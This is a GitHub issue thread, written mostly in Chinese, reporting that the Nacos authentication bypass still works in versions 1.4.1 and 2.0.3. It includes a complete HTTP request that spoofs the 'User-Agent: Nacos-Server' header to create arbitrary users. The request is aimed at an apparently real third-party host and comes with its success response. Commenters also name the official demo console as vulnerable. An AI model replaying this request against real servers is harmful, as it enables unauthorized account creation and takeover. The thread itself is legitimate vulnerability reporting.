-
Notifications
You must be signed in to change notification settings - Fork 12.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
NacosAuthBypassVulnDetector仍然在最新版本未修复?还是没有新版本继承上去? #7103
Comments
我这边开着权限认证没有这个问题, 直接返回 {
"error": "Forbidden",
"message": "unknown user!",
"path": "/nacos/v1/auth/users",
"status": 403,
"timestamp": "2021-10-20T15:53:07.809+08:00"
} |
http://console.nacos.io/nacos/v1/auth/users?pageNo=1&pageSize=9 官网的实例控制台也存在此漏洞,等着修复的版本 |
nacos-sever: 2.0.3, post add user success, is this correct?
|
我这边docker里面开着权限认证也不会有这个问题 NACOS_AUTH_ENABLE=true docker run --env PREFER_HOST_MODE=hostname --env MODE=standalone --env NACOS_AUTH_ENABLE=true-p 8848:8848 nacos/nacos-server |
配置文件里修改 |
@threedr3am 实测下载1.41版本的标签和2.03版本的标签,仍然实测可以添加任意登录账户 -[ https://github.com//issues/4701 ] 修复绕过身份验证(identity)问题。 |
Describe the bug
NacosAuthBypassVulnDetector仍然在最新版本未修复?还是没有新版本继承上去?
Expected behavior
NacosAuthBypassVulnDetector 这个问题我看tag上记录的1.41版本已经fix,但是我实测下载1.41版本的tag和2.03版本的tag,仍然实测可以添加任意登录账户
-[#4701] Fix bypass authentication(identity) problem.
#4701
version:nacos 1.41的tag包和2.03的tag包
request:
POST /nacos/v1/auth/users?username=1234578&password=123457 HTTP/1.1
Host: xmagnet-nacos.tuhu.cn
User-Agent: Nacos-Server
Content-Length: 0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
response:
{"code":200,"message":"create user ok!","data":null}
请问是没有修复?还是版本没有继承上去?
The text was updated successfully, but these errors were encountered: